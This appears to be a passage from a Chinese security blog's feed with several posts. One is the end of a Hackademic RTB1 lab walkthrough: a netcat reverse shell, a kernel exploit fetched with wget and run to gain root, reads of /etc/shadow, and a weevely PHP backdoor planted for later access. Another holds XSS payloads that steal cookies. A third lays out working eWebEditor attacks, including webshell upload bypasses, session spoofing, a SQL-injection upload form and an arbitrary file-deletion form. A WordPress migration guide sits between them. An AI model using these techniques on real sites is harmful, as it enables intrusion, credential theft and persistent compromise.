<p>点击连接我们会看到<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034153nRQ.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034153nRQ.png" alt="NC反弹" title="33"></a></p>
<p>&nbsp;</p>
<p>接下来我们尝试执行一些命令：</p>
<p>id</p>
<p>uid=48(apache) gid=489(apache) groups=489(apache)<br>（用来显示用户的id和组）</p>
<p>pwd</p>
<p>/var/www/html/Hackademic_RTB1/wp-content/plugins<br>（显示服务器上当前的路径）</p>
<p>uname -a</p>
<p>Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux<br>（显示内核版本信息）</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034220jQo.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034220jQo.png" alt="Linux基础命令" title="34"></a></p>
<p>现在我们知道，服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.<br>在服务器上测试了很多exp之后，我们用以下的exp来提升权限.<br><a href="http://www.exploit-db.com/exploits/15285" target="_blank" rel="external">http://www.exploit-db.com/exploits/15285</a></p>
<p>我们在nc shell上执行以下命令:<br><strong>wget <a href="http://www.exploit-db.com/exploits/15285" target="_blank" rel="external">http://www.exploit-db.com/exploits/15285</a> -o roro.c</strong><br>(下载exp到服务器并重命名为roro.c)<br>注：很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.<br>exp roro.c代码如下：</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;unistd.h&gt;</p>
<p>#include &lt;stdlib.h&gt;</p>
<p>#include &lt;fcntl.h&gt;</p>
<p>#include &lt;sys/types.h&gt;</p>
<p>#include &lt;sys/socket.h&gt;</p>
<p>#include &lt;netinet/in.h&gt;</p>
<p>#include &lt;errno.h&gt;</p>
<p>#include &lt;string.h&gt;</p>
<p>#include &lt;sys/ptrace.h&gt;</p>
<p>#include &lt;sys/utsname.h&gt;</p>
<p>#define RECVPORT 5555</p>
<p>#define SENDPORT 6666<br>int prep_sock(int port)<br>{<br>int s, ret;<br>struct sockaddr_in addr;<br>s = socket(PF_RDS, SOCK_SEQPACKET, 0);<br>if(s &lt; 0)<br>{<br>printf(“[*] Could not open socket.n”);<br>exit(-1);<br>}<br>memset(&amp;addr, 0, sizeof(addr));<br>通过以上代码我们发现该exp是C语言开发的，我们需要将他编译成elf格式的,命令如下:</p>
<p><strong>gcc roro.c –o roro</strong></p>
<p>接下来执行编译好的exp</p>
<p><strong>./roro</strong></p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034231h2r.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034231h2r.jpg" alt="exp编译" title="36"></a><br>执行完成之后我们输入id命令</p>
<p>id</p>
<p>我们发现我们已经是root权限了</p>
<p>uid=0(root) gid=0(root)</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034235Hjp.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034235Hjp.png" alt="Linux服务器提权" title="37"></a><br>现在我们可以查看/etc/shadow文件<br><strong>cat /etc/shadow</strong><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034256AXA.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034256AXA.jpg" alt="linux基础命令" title="38"></a><br>查看/etc/passwd 文件</p>
<p><strong>cat /etc/passwd</strong><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034321dUi.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034321dUi.jpg" alt="linux基础命令" title="39"></a><br>我们可以使用”john the ripper”工具破解所有用户的密码.但是我们不会这样做，我们需要在这个服务器上留下后门以方便我们在任何时候访问它.</p>
<p>我们用weevely制作一个php小马上传到服务器上.</p>
<p>1.weevely使用选项<br><strong>root@bt:/pentest/backdoors/web/weevely# ./main.py -</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034329JUB.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034329JUB.jpg" alt="weevely使用方法" title="40"></a></p>
<p>2.用weevely创建一个密码为koko的php后门</p>
<p><strong>root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034352PkW.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034352PkW.png" alt="weevely使用方法" title="41"></a></p>
<p>接下来上传到服务器之后来使用它<br><strong>root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u <a href="http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php" target="_blank" rel="external">http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php</a> -p koko</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034402HWa.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034402HWa.png" alt="weevely使用方法" title="42"></a><br>测试我们的hax.php后门</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034426dWE.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034426dWE.png" alt="weevely使用方法" title="43"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>通过本文你将了解黑客常用的入手思路和技术手法，适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容：</p>
<p>1.渗透测试前的简单信息收集。</p>
<p>2.sqlmap的使用</]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[二哥XSS教学宝典学习]]></title>
    <link href="http://doubles.me/2013/02/16/386/"/>
    <id>http://doubles.me/2013/02/16/386/</id>
    <published>2013-02-15T22:37:24.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h2 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h2><p><a href="http://xsst.sinaapp.com/example/1-1.php" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-1.php</a></p>
<p>简单，自己也搞定</p>
<p><a href="http://xsst.sinaapp.com/example/1-1.php?page=%3Cimg%20src=%22http://www.baidu.com/img/baidu_sylogo1.gif%22%3E" target="_blank" rel="external">http://xsst.sinapp.com/example/1-1.php?page=&lt;img src=”http://www.baidu.com/img/baidu_sylogo1.gif”&gt;</a></p>
<h2 id="第二章"><a href="#第二章" class="headerlink" title="第二章"></a>第二章</h2><p><a href="http://xsst.sinapp.com/example/1-2.php?page=2;alert(document.cookie" target="_blank" rel="external">http://xsst.sinapp.com/example/1-2.php?page=2;alert(document.cookie)</a>)</p>
<p>构造闭合，参数多了双引号，同样的修改一下，进行闭合。</p>
<p><a href="http://xsst.sinaapp.com/example/1-2.php?page=%22;alert(document.cookie" target="_blank" rel="external">http://xsst.sinapp.com/example/1-2.php?page=”;alert(document.cookie);//</a>;//)</p>
<p>&nbsp;</p>
<p>课后练习题：</p>
<p>第1个，由于过滤了双引号，所以通过编码绕过。</p>
<p><a href="http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2beval%28alert%28document.cookie%29%29%29;//" target="_blank" rel="external">http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2beval%28alert%28document.cookie%29%29%29;//</a></p>
<p>第2个的查看一下，我们可以构造如下闭合，</p>
<p><a href="http://xsst.sinaapp.com/example/test1-2-2.php?page=1" target="_blank" rel="external">http://xsst.sinaapp.com/example/test1-2-2.php?page=1’);alert(document.cookie);//</a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130216080657.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130216080657.png" alt="QQ20130216080657"></a></p>
<p>第3个</p>
<p><a href="http://xsst.sinaapp.com/example/test1-2-3.php?page=1" target="_blank" rel="external">http://xsst.sinaapp.com/example/test1-2-3.php?page=1’;alalertert(document.cookie);’</a></p>
<h2 id="第三章"><a href="#第三章" class="headerlink" title="第三章"></a>第三章</h2><p>html 静态网页传参了，以前都以为是伪静态，我去哦。js的获取地址栏参数以前自己还用过，完全没想到。菜鸟一个啊。</p>
<p><a href="http://xsst.sinaapp.com/example/1-3.htm?url=./iframe.htm" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3.htm?url=./iframe.htm</a></p>
<p>练习题：</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=1" target="_blank" rel="external">使用document.write造成的XSS （会被IE拦截,Chrome下参数中&lt;,&gt;被自动编码导致无效）</a></p>
<p>前面没注意 ie，chrome均不成功，别说这些了，火狐safari，opera均没弹窗</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=1&amp;url=" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3-2.php?bug=1&amp;url=’&gt;&lt;img src=’1’ onerror=’alert(document.cookie)’&gt;&lt;/img&gt;</a></p>
<p>&nbsp;</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=2&amp;url={age:20,name:" target="_blank" rel="external">使用eval造成的XSS</a></p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=2&amp;url={age:0,name:(function(" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3-2.php?bug=2&amp;url={age:0,name:(function(){alert(document.cookie)})()}</a>{alert(document.cookie)})()})</p>
<p>&nbsp;</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=3" target="_blank" rel="external">使用innerHTML造成的XSS （会被IE拦截,Chrome下参数中&lt;,&gt;被自动编码导致无效）</a></p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=3&amp;url=" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3-2.php?bug=3&amp;url=’&gt;&lt;img src=’1’ onerror=’alert(document.cookie)’&gt;&lt;/img&gt;</a></p>
<p>&nbsp;</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=4" target="_blank" rel="external">使用location/location.href/location.replace/iframe.src造成的XSS</a></p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=4&amp;url=javascript:alert(document.cookie" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3-2.php?bug=4&amp;url=javascript:alert(document.cookie);</a>;)</p>
<p>&nbsp;</p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=5&amp;url=www.baidu.com" target="_blank" rel="external">使用setTimeout/setInterval造成的XSS</a></p>
<p><a href="http://xsst.sinaapp.com/example/1-3-2.php?bug=5&amp;url=" target="_blank" rel="external">http://xsst.sinaapp.com/example/1-3-2.php?bug=5&amp;url=’);alert(document.cookie);eval(‘</a></p>
<p>&nbsp;</p>
<p>wooyun上dom xss</p>
<p><a href="http://www.wooyun.org/tags/dom%E7%B1%BB%E5%9E%8Bxss" target="_blank" rel="external">http://www.wooyun.org/tags/dom%E7%B1%BB%E5%9E%8Bxss</a></p>
<p>最后可以看这里的，比较新哦html5安全相关。</p>
<p><a href="http://html5sec.org/" target="_blank" rel="external">http://html5sec.org/</a></p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h2><p><a href="http://xsst.sinaapp.com/example/1-1.php" target="_blank" ]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[迁移wordpress/网站搬家同时更改URL更改域名]]></title>
    <link href="http://doubles.me/2013/02/09/378/"/>
    <id>http://doubles.me/2013/02/09/378/</id>
    <published>2013-02-09T19:55:58.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h3 id="无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这里是网上找到的一篇文章，mark吧。"><a href="#无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这里是网上找到的一篇文章，mark吧。" class="headerlink" title="无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这里是网上找到的一篇文章，mark吧。"></a>无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这里是网上找到的一篇文章，mark吧。</h3><h3 id="步骤1：备份数据库"><a href="#步骤1：备份数据库" class="headerlink" title="步骤1：备份数据库"></a><strong>步骤1：备份数据库</strong></h3><div><br><br>登陆到phpMyAdmin，到mysql后台，选择wordpress数据所在的数据库，点击“导出”或是英文的”Export”把数据库数据备份到你本地。建议选择导出格式为SQL。如果数据量较大，建议在导出页面下方选择.zip或.gzip压缩格式，这样文件会小一些。<br><br><strong>步骤2：备份wordpress网站所有文件</strong><br>用FTP或你的空间商提供的方式吧所有wordpress的文件备份到你本地。建议压缩后再FTP到本地，这样速度快，也不会出现文件传输过程中发生的某些传输错误造成文件不完整。<br><br><strong>步骤3：恢复数据库到你的新空间</strong><br>登陆到你的新空间的phpMyAdmin，到mysql后台，点击“导入”或是英文的“Import”把数据库恢复到你的新空间，即导入步骤1备份的文件。<br><br><strong>步骤4：恢复网站文件到你的新空间</strong><br>用FTP或你的空间商提供的方式把所有的网站文件上传的你的新空间。即导入步骤2备份的文件。<br><br><strong>步骤5：更改配置文件wp-config.php</strong><br>wp-config.php位于根目录，你至少需要修改如下项目：（这些项目买空间是，空间商会给你）<br><br><em>   <a href="http://totem.co/tag/wordpress-2" title="查看 WordPress 中的全部文章" target="_blank" rel="external">WordPress</a> 数据库的名称
</em>   MySQL 数据库用户名<br><em>   MySQL 数据库密码
</em>   MySQL 主机 — 这项通常是 ‘localhost’<br><span style="color: #ff0000;">如果白屏的话，删除config这个文件，然后再来安装一遍，让它自动生成。主题插件也移除掉。</span><br><strong>步骤6：注意检查文件.htaccess</strong><br>（如果你的网站路径与迁移前的一模一样，这一步可以省略）这一步一定要注意，RewriteBase及RewriteRule这两项一定要设置正确。我的网站根路径于原先的不同，这里又没设置正确才发生500错误。<br><br><strong>步骤7：后台数据库修改siteurl及home项</strong><br>（如果你的网站路径及URL与迁移前的一模一样，这一步可以省略），登陆到你的新空间的phpMyAdmin，在后台数据库里修改你的siteurl，找到表wp_options，作如下修改：<br><br><em>   找到option_id字段值为1，option_name字段值为siteurl的记录，修改option_value字段值，比如原先你的值为<a href="http://www.wnshare.com/blog，当前已经变为http://www.wnshare.com，把这个值改为http://www.wnshare.com。" target="_blank" rel="external">http://www.wnshare.com/blog，当前已经变为http://www.wnshare.com，把这个值改为http://www.wnshare.com。</a>
</em>   找到option_id字段值为37，option_name字段值为home的记录，修改option_value字段值，跟上面的是一样的，比如原先你的值为<a href="http://www.wnshare.com/blog，当前已经变为http://www.wnshare.com，把这个值改为http://www.wnshare.com。" target="_blank" rel="external">http://www.wnshare.com/blog，当前已经变为http://www.wnshare.com，把这个值改为http://www.wnshare.com。</a><br><strong>步骤8：到你的<a href="http://totem.co/tag/%e5%9f%9f%e5%90%8d" title="查看 域名 中的全部文章" target="_blank" rel="external">域名</a>注册商网站修改A记录</strong><br>新的IP地址在买空间时，空间商会告诉你，别忘了把新的IP地址更新上去，国内的通常1到2小时就会生效。<br><br>### 步骤8：修改数据库<br><br>数据库中可能会有一些文件地址，或者其他什么的需要更改，这时就要用到这个了。<br><br>这个将文中所有的图片地址改掉，当然也可以改其他的。<br><br>UPDATE wp_posts SET post_content = REPLACE( post_content, ‘<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/01/" target="_blank" rel="external">http://7xnueu.com1.z0.glb.clouddn.com/2012/01/</a>‘, ‘<a href="http://127.0.0.1/" target="_blank" rel="external">http://127.0.0.1/</a>‘ );<br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<h3 id="无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这里是网上找到的一篇文章，mark吧。"><a href="#无缘无故白屏了，也不知道怎么解决，然后就只能重新安装一下。数据库和附件也给整理了一下，比较麻烦的说。这]]>
    </summary>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[常见的一些编辑器漏洞]]></title>
    <link href="http://doubles.me/2013/02/08/376/"/>
    <id>http://doubles.me/2013/02/08/376/</id>
    <published>2013-02-08T20:21:33.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor bigcneditor</p>
<p>其实如果大家多关注编辑器的话,会有惊人的发现,尤其是jsp,php版的,一个webshell基本上就是一台服务器啊~~~</p>
<p>一:首先说说最近不断爆洞的ewebeditor</p>
<p>(一)ASP版<br>1:默认管理后台:</p>
<p><a><a href="http://www.test.com/ewebeditor/admin_login.asp" target="_blank" rel="external">http://www.test.com/ewebeditor/admin_login.asp</a></a></p>
<p>后台如果能进入:</p>
<p>可点击样式管理:</p>
<p>standard 拷贝一份(直接修改改不了)</p>
<p>在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览</p>
<p>在编辑器里点设计 然后直接上传asa大马.</p>
<p>上传后 在代码里可以看到马的位置!</p>
<p>(原理:因为在iis里 网站的属性里 应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是 还有 cer cdx )</p>
<p>在cer cdx asa的被删掉 那么马儿就找不到 映射不过去.</p>
<p>可以在拷贝过后的样式 图片类型里加入 aaspsp 然后在上传 直接就可以上传asp文件<br>2:下载默认数据库</p>
<p><a>www.test.com/ewebeditor/db/ewebeditor.mdb</a></p>
<p>然后分析数据库</p>
<p>webeditor_system(1) 就可以看到用户名和密码 如果破解不出来</p>
<p>可以在webeditor_style(14 样式表里</p>
<p>主要看允许上传文件的扩展名(s-fileext s_ingeext)</p>
<p>看到一个小黑客曾经搞过 多了asa aaspsp</p>
<p>可以用他来利用!(后台找不到的情况下也可以用此方法)</p>
<p>可以构造语句:</p>
<p>比如 ID=46 s-name =standard1</p>
<p>构造 代码: ewebeditor.asp?id=content&amp;style=standard</p>
<p>ID和和样式名改过后</p>
<p>ewebeditor.asp?id=46&amp;style=standard1<br>然后就是进入编辑器 上传asa 或者asp的 得到webshell</p>
<p>前面的1跟2说的是asp版的ewebeditor,其他如php,jsp跟asp的差不多,这里不多说.</p>
<p>针对这种方法可能出现的问题:</p>
<p>(1)．使用默认用户名和密码无法登录。<br>请试试直接下载db目录下的ewebeditor.mdb文件，用户名和密码在eWebEditor_System表中，经过了md5加密，如果无法下载或者无法</p>
<p><em>**</em>，那就当自己的运气不好了。<br>(2)．加了asa类型后发现还是无法上传。<br>应该是站长懂点代码，自己修改了Upload.asp文件，但是没有关系，按照常人的思维习惯，往往会直接在sAllowExt = Replace</p>
<p>(UCase(sAllowExt), “ASP”, “”)一句上修改，我就看见过一个站长是这样修改的：<br>sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”),</p>
<p>“HTR”, “”)<br>猛一看什么都过滤了，但是我们只要在上传类型中增加“aaspsp”，就可以直接上传asp文件了。呵呵，是不是天才的想法？“aaspsp</p>
<p>”过滤了“asp”字符后，反而变成了“asp”！顺便告诉大家一个秘密，其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名</p>
<p>的过滤。<br>(3)．上传了asp文件后，却发现该目录没有运行脚本的权限。<br>呵呵，真是好笨啊，上传类型可以改，上传路径不是也可以修改的吗？</p>
<p>(4)．已经使用了第2点中的方法，但是asp类型还是无法上传。<br>看来站长肯定是一个写asp的高手，但是我们还有最后一招来对付他：看到“远程类型”了吗？eWebEditor能够设定自动保存远程文件</p>
<p>的类型，我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢？方法是很多的，最简单的方法是将IIS中</p>
<p>的“应用文件映射”中的“asp”删除。</p>
<p>漏洞原理<br>漏洞的利用原理很简单，请看Upload.asp文件：<br>任何情况下都不允许上传asp脚本文件<br>sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)<br>因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷：既然作者已经知道asp文件需要过滤，为什么不同时</p>
<p>过滤asa、cer等文件呢？也许这就是对免费用户不负责任的表现吧！</p>
<p>3.eWebEditor session欺骗漏洞</p>
<p>eWebEditor在线编辑器</p>
<p>漏洞文件:Admin_Private.asp</p>
<p>漏洞语句:&lt;%</p>
<p>If Session(“eWebEditor_User”) = “” Then</p>
<p>Response.Redirect “admin_login.asp”</p>
<p>Response.End</p>
<p>End If</p>
<p>只判断了session，没有判断cookies和路径的验证问题。</p>
<p>漏洞利用:</p>
<p>新建一个h4x0r.asp内容如下:</p>
<p>&lt;%Session(“eWebEditor_User”) = “11111111”%&gt;</p>
<p>访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp</p>
<p>漏洞影响:虚拟主机的克星.</p>
<p>4.ewebeditor asp版 2.1.6 上传漏洞</p>
<p>&lt;H1&gt;ewebeditor asp版 2.1.6 上传漏洞利用程序&lt;/H1&gt;&lt;br&gt;</p>
<p>&lt;form action=”<a><a href="http://127.1/e/upload.asp?action=save&amp;type=IMAGE&amp;style=luoye" target="_blank" rel="external">http://127.1/e/upload.asp?action=save&amp;type=IMAGE&amp;style=luoye</a>‘</a> union select</p>
<p>S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%</p>
<p>2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl</p>
<p>from ewebeditor_style where s_name=’standard’and’a’=’a” method=post name=myform enctype=”multipart/form-data”&gt;</p>
<p>&lt;input type=file name=uploadfile size=100&gt;&lt;br&gt;&lt;br&gt;</p>
<p>&lt;input type=submit value=Fuck&gt;</p>
<p>&lt;/form&gt;</p>
<p><a><a href="http://127.1/e/upload.asp" target="_blank" rel="external">http://127.1/e/upload.asp</a></a></p>
<p>上传时修改此处上传地址。。。</p>
<p>如果你是上传的asp文件则成功后的地址为：</p>
<p><a><a href="http://127.1/e/uploadfile/xxxxxxxxxx.asp" target="_blank" rel="external">http://127.1/e/uploadfile/xxxxxxxxxx.asp</a></a></p>
<p>5.ewebeditor遍历路径漏洞<br>Ewebeditor为非常常见的网站核心程序,<br>默认数据库为 /db/ewebeditor.mdb 默认路径admin_login.asp 默认管理员admin密码admin(admin888)</p>
<p>ewebedit进入后台添加样式.得到webshell很容易. 有时候很不幸.管理员把数据库改为只读权限.</p>
<p>但是ewebeditor后台有个小小的缺陷. 可以历遍整个网站目录. 当然.数据库为只读的时候一样可以利用.</p>
<p>上传文件管理—选择样式目录(随便选一个目录)<br>得到:<br>ewebeditor/admin_uploadfile.asp?id=14<br>在id=14后面添加&amp;dir=..<br>再加 &amp;dir=../..<br>&amp;dir=../../../.. 看到整个网站文件了</p>
<p>6.eweb2.7版本以下又一个注入</p>
<p>首先看代码(ewebeditor.asp)：<br>ub InitPara()<br>‘ 取全屏标志<br>sFullScreen = Trim(Request.QueryString(“fullscreen”))<br>‘ 取对应的内容ID<br>sContentID = Trim(Request.QueryString(“id”))<br>If sContentID = “” Then ShowErr “请传入调用参数ID，即隐藏的内容表单项ID！”</p>
<p>‘ 取样式初始值<br>sStyleName = Trim(Request.QueryString(“style”))<br>If sStyleName = “” Then sStyleName = “standard”</p>
<p>sSql = “select * from ewebeditor_style where s_name=’” &amp; sStyleName &amp; “‘“<br>oRs.Open sSql, oConn, 0, 1<br>If Not oRs.Eof Then<br>sStyleID = oRs(“S_ID”)<br>sStyleName = oRs(“S_Name”)<br>sStyleDir = oRs(“S_Dir”)<br>sStyleCSS = oRs(“S_CSS”)<br>sStyleUploadDir = oRs(“S_UploadDir”)<br>nStateFlag = oRs(“S_StateFlag”)<br>sDetectFromWord = oRs(“S_DetectFromWord”)<br>sInitMode = oRs(“S_InitMode”)<br>sBaseUrl = oRs(“S_BaseUrl”)</p>
<p>sStyleUploadDir = Replace(sStyleUploadDir, “\”, “/“)<br>If Right(sStyleUploadDir, 1) &lt;&gt; “/“ Then<br>sStyleUploadDir = sStyleUploadDir &amp; “/“<br>End If<br>Else<br>ShowErr “无效的样式Style参数传入，如果要使用默认值，请留空！”<br>End If<br>oRs.Close<br>关键的是这两句：<br>sStyleName = Trim(Request.QueryString(“style”))<br>If sStyleName = “” Then sStyleName = “standard”</p>
<p>sSql = “select * from ewebeditor_style where s_name=’” &amp; sStyleName &amp; “‘“<br>很明显的是style参数没有足够的过滤，如果我们自己给这个地方赋值的话，程序会报错的，</p>
<p>但接下来的一句还是让我们有可乘之机，If sStyleName = “” Then sStyleName = “standard”保留默认的还是会带入语句执行，加个</p>
<p>单引号就报错了，如图2.[local]1[/local]<br>我试了好几款工具，发现只有pangolin可以注入，啊D只能发现注入不能继续猜解。<br>eweb默认的管理员表是：ewebeditor_system<br>这个表下的默认两个列名为:sys_UserName和sys_userpass<br>需要手动添加，</p>
<p>7.ewebeditor2.8最终版删除任意文件漏洞</p>
<p>这个漏洞可以很鸡肋，也可以很致命，关键看你怎么利用！</p>
<p>此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中，这是ewebeditor的测试页面，无须登陆可以直接进入，看这些代码：</p>
<p>‘ 把带”|”的字符串转为数组<br>Dim aSavePathFileName<br>aSavePathFileName = Split(sSavePathFileName, “|”)<br>‘ 删除新闻相关的文件，从文件夹中<br>Dim i<br>For i = 0 To UBound(aSavePathFileName)<br>‘ 按路径文件名删除文件<br>Call DoDelFile(aSavePathFileName(i))<br>Next</p>
<p>而aSavePathFileName是前面从数据库取出来的：</p>
<p>sSavePathFileName = oRs(“D_SavePathFileName”)</p>
<p>看看D_SavePathFileName是怎么添加到数据库里的，在addsave.asp(modifysave.asp)里：</p>
<p>sSavePathFileName = GetSafeStr(Request.Form(“d_savepathfilename”))<br>…<br>oRs(“D_SavePathFileName”) = sSavePathFileName</p>
<p>居然过滤了，是GetSafeStr函数，再看看这个函数，在Startup.asp里：</p>
<p>Function GetSafeStr(str)<br>GetSafeStr = Replace(Replace(Replace(Trim(str), “‘“, “”), Chr(34), “”), “;”, “”)<br>End Function</p>
<p>无语，这不是过滤字符型注入的函数么？放这里什么用也没有啊！既然路径没有过滤，那就可以直接定义了，构造一个提交页面，其</p>
<p>中d_savepathfilename自己任意赋值(要删除多个文件，用|隔开即可)。试试../../eWebEditor.asp，提交后删除该新闻，于是主目录</p>
<p>下的eWebEditor.asp不见了！</p>
<p>下面给出利用的htm：<br>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;eWebEditor删除文件 by:oldjun(<a><a href="http://www.oldjun.com)&lt;/TITLE" target="_blank" rel="external">http://www.oldjun.com)&lt;/TITLE</a></a>&gt;<br>&lt;style&gt;body,p,td,input {font-size:9pt}&lt;/style&gt;<br>&lt;/HEAD&gt;&lt;BODY&gt;&lt;a href=’list.asp’&gt;新闻列表&lt;/a&gt; | &lt;a href=’add.asp’&gt;增加新闻&lt;/a&gt;</p>
<p>&lt;b&gt;增加新闻&lt;/b&gt;</p>
<p>&lt;form action=”<a><a href="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" target="_blank" rel="external">http://127.0.0.1/editor/Example/NewsSystem/addsave.asp</a></a>“<br>method=”post” name=”myform”&gt;<br>&lt;input type=hidden name=d_nofilename&gt;<br>&lt;input type=hidden name=d_savefilename&gt;<br>&lt;table cellspacing=3 align=center&gt;<br>&lt;tr&gt;&lt;td&gt;要删的文件(相对路径就可以了)：&lt;/td&gt;<br>&lt;td&gt;&lt;input type=”text” name=”d_savepathfilename” value=”” size=”90”&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;&lt;td&gt;新闻标题(随便填)：&lt;/td&gt;<br>&lt;td&gt;&lt;input type=”text” name=”d_title” value=”” size=”90”&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;&lt;td&gt;标题图片：&lt;/td&gt;<br>&lt;td&gt;&lt;select name=”d_picture” size=1&gt;&lt;option value=’’&gt;无&lt;/option&gt;&lt;/select&gt;<br>当编辑区有插入图片时，将自动填充此下拉框&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;&lt;td&gt;新闻内容(随便填)：&lt;/td&gt;<br>&lt;td&gt;&lt;textarea name=”d_content”&gt;&lt;/textarea&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt;</p>
